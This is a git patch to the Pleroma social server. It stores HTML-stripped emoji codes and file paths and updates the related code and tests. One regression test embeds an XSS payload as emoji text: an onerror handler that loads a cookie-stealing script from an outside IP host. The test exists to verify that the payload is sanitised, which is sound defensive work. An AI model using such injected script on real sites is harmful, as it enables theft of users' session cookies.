From d7808b5db437b3300122127cef4c7ad076de7bda Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 29 Aug 2019 06:22:18 +0300 Subject: [PATCH] added code\path fields without html tags in ets --- lib/pleroma/emoji/loader.ex | 12 +- lib/pleroma/formatter.ex | 31 ++--- lib/pleroma/web/common_api/utils.ex | 2 +- .../controllers/mastodon_api_controller.ex | 2 +- .../controllers/util_controller.ex | 2 +- test/emoji_test.exs | 8 +- test/formatter_test.exs | 110 +++++++++--------- 7 files changed, 93 insertions(+), 74 deletions(-) diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index e93b0aecc..70eba9ac6 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -78,7 +78,17 @@ defmodule Pleroma.Emoji.Loader do load_from_globs(shortcode_globs, emoji_groups)) |> Enum.reject(fn value -> value == nil end) - emojis ++ emojis_txt + Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) + end + + defp prepare_emoji({code, file, tags} = _emoji) do + { + code, + file, + tags, + Pleroma.HTML.strip_tags(code), + Pleroma.HTML.strip_tags(file) + } end defp load_pack(pack_dir, emoji_groups) do diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 607843a5b..84955289c 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -107,19 +107,22 @@ defmodule Pleroma.Formatter do def emojify(text, nil), do: text def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) + Enum.reduce(emoji, text, fn + {_, _, _, emoji, file}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - html = - if not strip do - "#{emoji}" - else - "" - end - - String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags() + emoji_data, text -> + emoji = HTML.strip_tags(elem(emoji_data, 0)) + file = HTML.strip_tags(elem(emoji_data, 1)) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" end def demojify(text) do @@ -130,7 +133,9 @@ defmodule Pleroma.Formatter do @doc "Outputs a list of the emoji-shortcodes in a text" def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end) + Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + String.contains?(text, ":#{emoji}:") + end) end def get_emoji(_), do: [] @@ -138,7 +143,7 @@ defmodule Pleroma.Formatter do @doc "Outputs a list of the emoji-Maps in a text" def get_emoji_map(text) when is_binary(text) do get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group}, acc -> + |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") end) end diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 6958c7511..9686e6491 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -435,7 +435,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do def emoji_from_profile(%{info: _info} = user) do (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _} -> + |> Enum.map(fn {shortcode, url, _, _, _} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 83e877c0e..603c6b3c6 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -331,7 +331,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags} -> + |> Enum.map(fn {shortcode, relative_url, tags, _, _} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 3405bd3b7..923480242 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -240,7 +240,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do def emoji(conn, _params) do emoji = Emoji.get_all() - |> Enum.map(fn {short_code, path, tags} -> + |> Enum.map(fn {short_code, path, tags, _, _} -> {short_code, %{image_url: path, tags: tags}} end) |> Enum.into(%{}) diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 32a828cc9..82f9c52ff 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags} = emoji + {code, path, tags, _, _} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 5 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,9 +24,9 @@ defmodule Pleroma.EmojiTest do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags} = emoji + {code, path, tags, _, _} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 5 assert is_binary(code) assert is_binary(path) assert is_list(tags) diff --git a/test/formatter_test.exs b/test/formatter_test.exs index bfa673049..7a5bd0f9f 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -217,6 +217,27 @@ defmodule Pleroma.FormatterTest do assert expected_text =~ "how are you doing?" end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end end describe ".parse_tags" do @@ -234,67 +255,50 @@ defmodule Pleroma.FormatterTest do end end - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + expected_result = + "I love \"firefox\"" - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] + assert Formatter.emojify(text) == expected_result + end - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = %{ + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + "https://placehold.it/1x1" + } + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, custom_emoji) == expected_result + end end - test "it adds cool emoji" do - text = "I love :firefox:" + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" - expected_result = - "I love \"firefox\"" + assert Formatter.get_emoji(text) == [ + {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + ] + end - assert Formatter.emojify(text) == expected_result - end + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end end test "it escapes HTML in plain text" do